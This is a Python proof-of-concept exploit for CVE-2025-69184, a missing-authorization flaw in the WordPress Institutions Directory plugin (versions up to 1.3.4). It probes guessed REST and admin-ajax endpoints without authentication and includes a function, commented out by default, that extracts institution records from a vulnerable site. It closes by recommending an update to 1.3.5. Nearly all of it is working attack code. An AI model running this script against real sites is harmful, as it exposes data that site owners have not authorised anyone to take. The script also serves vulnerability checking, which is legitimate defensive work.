CVE-2025-69184

# CVE-2025-69184 PoC - Missing Authorization in Institutions Directory # Affected: WordPress Institutions Directory Plugin <= 1.3.4 import requests import sys TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-69184""" # Common API endpoints for Institutions Directory plugin endpoints = [ "/wp-json/institutions-directory/v1/institutions", "/wp-json/institutions-directory/v1/institutions/list", "/wp-admin/admin-ajax.php?action=get_institutions", "/wp-admin/admin-ajax.php?action=institutions_directory_get_all" ] print("[*] Testing CVE-2025-69184 - Missing Authorization") print(f"[*] Target: {TARGET_URL}") for endpoint in endpoints: url = TARGET_URL + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) print(f"\n[>] Testing endpoint: {endpoint}") print(f" Status Code: {response.status_code}") # Check if we get data without authentication if response.status_code == 200: try: data = response.json() if data: print(f" [!] VULNERABLE - Received data without authentication") print(f" Data preview: {str(data)[:200]}...") return True except: pass elif response.status_code == 401 or response.status_code == 403: print(f" [+] Protected - Authentication required") except requests.exceptions.RequestException as e: print(f" [!] Error: {e}") print("\n[*] Vulnerability check complete") return False def exploit_data_exposure(): """Attempt to exploit the vulnerability for data exposure""" url = TARGET_URL + "/wp-json/institutions-directory/v1/institutions" print("\n[*] Attempting to extract institution data...") response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() print(f"[+] Successfully retrieved {len(data)} institution records") for item in data[:5]: # Show first 5 records print(f" - {item}") except: print(f"[+] Received response: {response.text[:500]}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[!] Target appears to be VULNERABLE to CVE-2025-69184") print("[!] Recommendation: Update Institutions Directory plugin to version 1.3.5 or later") # Uncomment to automatically extract data: # exploit_data_exposure() else: print("\n[+] Target does not appear to be vulnerable")

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